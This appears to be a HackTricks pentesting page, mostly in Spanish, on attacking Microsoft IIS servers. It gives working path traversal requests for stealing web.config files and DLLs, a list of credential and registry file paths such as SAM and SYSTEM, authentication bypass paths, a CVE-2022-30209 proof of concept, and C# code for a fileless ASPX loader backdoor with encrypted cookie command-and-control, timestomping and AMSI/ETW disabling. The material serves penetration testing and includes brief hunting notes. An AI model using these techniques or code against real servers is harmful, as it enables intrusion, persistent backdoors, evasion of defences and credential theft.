IIS - Internet Information Services
Reading time: 16 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Test executable file extensions:
- asp
- aspx
- config
- php
Divulgación de dirección IP interna
En cualquier servidor IIS donde obtengas un 302 puedes intentar eliminar el Host header y usar HTTP/1.0; en la respuesta el Location header podría apuntar a la dirección IP interna:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Respuesta que revela la IP interna:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Ejecutar archivos .config
You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here
Más información y técnicas para explotar esta vulnerabilidad here
IIS Discovery Bruteforce
Descarga la lista que he creado:
Se creó fusionando el contenido de las siguientes listas:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Úsala sin añadir ninguna extensión; los archivos que la necesitan ya la tienen.
Path Traversal
Leaking source code
Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
tip
En resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "assemblyIdentity" y "namespaces". Con esta información es posible saber dónde están ubicados los ejecutables y descargarlos.
From the downloaded Dlls it's also possible to find new namespaces where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.
Además, los archivos connectionstrings.config y global.asax pueden contener información interesante.
En .Net MVC applications, el archivo web.config juega un papel crucial al especificar cada archivo binario del que depende la aplicación mediante etiquetas XML "assemblyIdentity".
Explorando archivos binarios
Un ejemplo de acceso al archivo web.config se muestra a continuación:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Esta solicitud revela varias configuraciones y dependencias, como:
- EntityFramework versión
- AppSettings para webpages, client validation y JavaScript
- System.web configuraciones para authentication y runtime
- System.webServer configuración de módulos
- Runtime assembly bindings para varias librerías como Microsoft.Owin, Newtonsoft.Json, y System.Web.Mvc
Estas configuraciones indican que ciertos archivos, como /bin/WebGrease.dll, están ubicados dentro de la carpeta /bin de la aplicación.
Archivos en el directorio raíz
Los archivos encontrados en el directorio raíz, como /global.asax y /connectionstrings.config (que contiene contraseñas sensibles), son esenciales para la configuración y el funcionamiento de la aplicación.
Espacios de nombres y web.config
Las aplicaciones MVC también definen archivos web.config adicionales para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Descargando DLLs
La mención de un namespace personalizado sugiere una DLL llamada "WebApplication1" presente en el directorio /bin. A continuación se muestra una solicitud para descargar la WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Esto sugiere la presencia de otras DLLs esenciales, como System.Web.Mvc.dll y System.Web.Optimization.dll, en el directorio /bin.
En un escenario donde una DLL importa un espacio de nombres llamado WebApplication1.Areas.Minded, un atacante podría inferir la existencia de otros archivos web.config en rutas predecibles, como /area-name/Views/, que contienen configuraciones específicas y referencias a otras DLLs en la carpeta /bin. Por ejemplo, una petición a /Minded/Views/web.config puede revelar configuraciones y espacios de nombres que indican la presencia de otra DLL, WebApplication1.AdditionalFeatures.dll.
Archivos comunes
Desde here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
If you see an error like the following one:
Significa que el servidor no recibió el nombre de dominio correcto en el Host header.
Para acceder a la página web puedes revisar el SSL Certificate servido y quizá encuentres ahí el nombre de dominio/subdominio. Si no está ahí, puede que necesites brute force VHosts hasta encontrar el correcto.
Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
Two common patterns to protect secrets on IIS-hosted .NET apps are:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) para secciones de web.config como
. - ASP.NET Core Data Protection key ring (persisted locally) usado para proteger secretos de la aplicación y cookies.
Si tienes acceso al sistema de archivos o acceso interactivo en el servidor web, las claves co-localizadas a menudo permiten el descifrado.
- ASP.NET (Full Framework) – descifra secciones de configuración protegidas con aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – buscar Data Protection key rings almacenados localmente (archivos XML/JSON) en ubicaciones como:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Con el key ring disponible, un operador que se ejecute con la identidad de la app puede instanciar un IDataProtector con los mismos purposes y llamar a unprotect sobre los secretos almacenados. Las malas configuraciones que guardan el key ring junto con los archivos de la app hacen que la desencriptación offline sea trivial una vez que el host está comprometido.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
El toolkit Phantom Taurus/NET-STAR muestra un patrón maduro para fileless IIS persistence y post‑exploitation enteramente dentro de w3wp.exe. Las ideas centrales son ampliamente reutilizables para custom tradecraft y para detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: una única página .aspx (p. ej., OutlookEN.aspx) contiene una .NET DLL codificada en Base64 y opcionalmente comprimida con Gzip. Al recibir una solicitud disparadora decodifica, descomprime y la carga reflectivamente en el AppDomain actual e invoca el punto de entrada principal (p. ej., ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tareas/resultados se envuelven con Gzip → AES‑ECB/PKCS7 → Base64 y se transmiten mediante requests aparentemente legítimas con muchas cookies; los operadores usaban delimitadores estables (p. ej., "STAR") para fragmentar.
- Reflective .NET execution: acepta assemblies gestionados arbitrarios en Base64, los carga mediante Assembly.Load(byte[]) y pasa argumentos del operador para intercambios rápidos de módulos sin tocar el disco.
- Operating in precompiled ASP.NET sites: añadir/gestionar shells/backdoors auxiliares incluso cuando el sitio está precompilado (p. ej., el dropper agrega páginas/handlers dinámicos o aprovecha config handlers) – expuesto mediante comandos como bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: exponer una acción changeLastModified y timestomp durante el despliegue (incluyendo timestamps de compilaciones futuras) para dificultar DFIR.
- Optional AMSI/ETW pre‑disable for loaders: un loader de segunda etapa puede deshabilitar AMSI y ETW antes de llamar a Assembly.Load para reducir la inspección de payloads en memoria.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Utilidades de empaquetado/criptografía (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session flow and command surface
- El arranque de Session y la asignación de tareas se realizan mediante cookies para integrarse con la actividad web normal.
- Los comandos observados en entornos reales incluyeron: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; y primitivas de ejecución dinámicas code_self, code_pid, run_code para la ejecución en memoria de .NET.
Timestomping utility
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Deshabilitar AMSI/ETW inline antes de Assembly.Load (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
Ver técnicas de AMSI/ETW bypass en: windows-hardening/av-bypass.md
Hunting notes (defenders)
- Página ASPX única y extraña con blobs muy largos Base64/Gzip; peticiones POST con muchas cookies.
- Módulos managed sin respaldo dentro de w3wp.exe; cadenas como Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Delimitadores repetidos como "STAR" en el tráfico; timestamps desajustados o incluso futuros en ASPX/assemblies.
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Puedes intentar enumerar carpetas y archivos dentro de cada carpeta descubierta (incluso si requiere Basic Authentication) usando esta technique.
La principal limitación de esta técnica si el servidor es vulnerable es que solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión de los archivos.
Puedes usar https://github.com/irsdl/IIS-ShortName-Scanner para probar esta vulnerabilidad:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
También puedes usar metasploit: use scanner/http/iis_shortname_scanner
Una buena idea para encontrar el nombre final de los archivos descubiertos es preguntar a LLMs por opciones, como se hace en el script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Bypass a basic authentication (IIS 7.5) intentando acceder a: /admin:$i30:$INDEX_ALLOCATION/admin.php
o /admin::$INDEX_ALLOCATION/admin.php
Puedes intentar combinar esta vulnerability con la anterior para encontrar nuevas carpetas y eludir la autenticación.
ASP.NET Trace.AXD enabled debugging
ASP.NET incluye un modo de depuración cuyo archivo se llama trace.axd
.
Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un periodo de tiempo.
Esta información incluye IPs remotas de clientes, IDs de sesión, todas las cookies de solicitud y respuesta, rutas físicas, información de código fuente y potencialmente incluso nombres de usuario y contraseñas.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Cookie
ASPXAUTH usa la siguiente información:
validationKey
(string): clave codificada en hex para usar en la validación de la firma.decryptionMethod
(string): (por defecto “AES”).decryptionIV
(string): vector de inicialización codificado en hex (por defecto un vector de ceros).decryptionKey
(string): clave codificada en hex para usar en la desencriptación.
Sin embargo, algunas personas usarán los valores por defecto de estos parámetros y usarán como cookie el email del usuario. Por lo tanto, si puedes encontrar un sitio que use la misma plataforma y que utilice la ASPXAUTH cookie y creas un usuario con el email del usuario que quieres suplantar en el servidor bajo ataque, podrías ser capaz de usar la cookie del segundo servidor en el primero y suplantar al usuario.
Este ataque funcionó en este writeup.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: Un bug en el código no comprobaba correctamente la contraseña proporcionada por el usuario, así que un atacante cuya hash de contraseña coincida con una clave que ya esté en la cache podrá iniciar sesión como ese usuario.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Referencias
- Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.